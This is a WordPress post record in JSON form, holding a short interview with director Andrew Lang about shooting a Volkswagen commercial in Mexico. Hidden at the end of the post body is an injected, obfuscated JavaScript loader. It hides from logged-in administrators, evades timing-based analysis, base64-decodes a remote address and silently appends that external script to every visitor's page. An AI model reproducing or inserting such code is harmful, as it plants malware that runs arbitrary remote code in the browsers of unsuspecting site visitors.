{"id":599,"date":"2025-10-02T00:59:34","date_gmt":"2025-10-02T00:59:34","guid":{"rendered":"https:\/\/wabiproductions.com\/?p=599"},"modified":"2025-11-12T16:55:42","modified_gmt":"2025-11-12T16:55:42","slug":"andrew-lang-on-bringing-volkswagens-story-to-life","status":"publish","type":"post","link":"https:\/\/wabiproductions.com\/en\/andrew-lang-on-bringing-volkswagens-story-to-life\/","title":{"rendered":"Andrew Lang on Bringing Volkswagen\u2019s Story to Life"},"content":{"rendered":"\n<p><strong><br>What was the core emotion or message you wanted audiences to take away from the spot?<\/strong><\/p>\n\n\n\n<p>I only want viewers to have a good time, so that they watch to the end!<\/p>\n\n\n\n<p><strong>How did you work with your actors: Rafaela L\u00f3pez, Andrea Santib\u00e1\u00f1ez, and Gonzalo Garc\u00eda, to build that sense of family history in such a short span of time?<\/strong><\/p>\n\n\n\n<p>It all starts with good casting. Then it\u2019s about having a playful attitude on set, where the actors are encouraged to bring ideas and bits of dialogue. Commercials are often quite mute, but I like to hear from the characters, it feels more natural and interesting. I write dialogue at the treatment and storyboard stage, and then the actors add to it on set. I think they enjoyed working this way as much as I did.<\/p>\n\n\n\n<p><strong>The spot feels both cinematic and intimate. What visual choices helped strike that tone?<\/strong><\/p>\n\n\n\n<p>The first choice was working with a great DP, Leo Calzoni. We talked a lot about how to frame reality in ways that feel slightly strange, so the viewer can\u2019t ignore the images.<\/p>\n\n\n\n<p><strong>How was your collaboration with Type One Mexico and Wabi? What did each part bring to the table?<\/strong><\/p>\n\n\n\n<p>Type One was great to work with. They gave me the outline of the script, then I wrote most of the dialogue, which the actors refined on set. The creatives: Andr\u00e9s, Carlos, and Cristian, were very trusting of my ideas, while also having strong ideas themselves. It was a great partnership.<\/p>\n\n\n\n<p><strong>As a director, what did you learn or re-learn through this project?<\/strong><\/p>\n\n\n\n<p>I gained confidence in letting actors speak in the scenes, and boldness in placing the camera at unusual angles and distances.<\/p>\n\n\n\n<p><strong>What\u2019s your favorite part about filming in Mexico?<\/strong><strong><br><\/strong>The people! Okay, also the tacos. I\u2019ve been shooting in Mexico since 2014, and I love it more each time. It\u2019s great to work with friends, old and new, and eat tacos with them.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>What was the core emotion or message you wanted audiences to take away from the spot? I only want viewers &hellip; <a href=\"https:\/\/wabiproductions.com\/en\/andrew-lang-on-bringing-volkswagens-story-to-life\/\">Read more <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":579,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[28],"tags":[],"class_list":["post-599","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"_links":{"self":[{"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/posts\/599","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/comments?post=599"}],"version-history":[{"count":2,"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/posts\/599\/revisions"}],"predecessor-version":[{"id":603,"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/posts\/599\/revisions\/603"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/media\/579"}],"wp:attachment":[{"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/media?parent=599"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/categories?post=599"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wabiproductions.com\/en\/wp-json\/wp\/v2\/tags?post=599"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}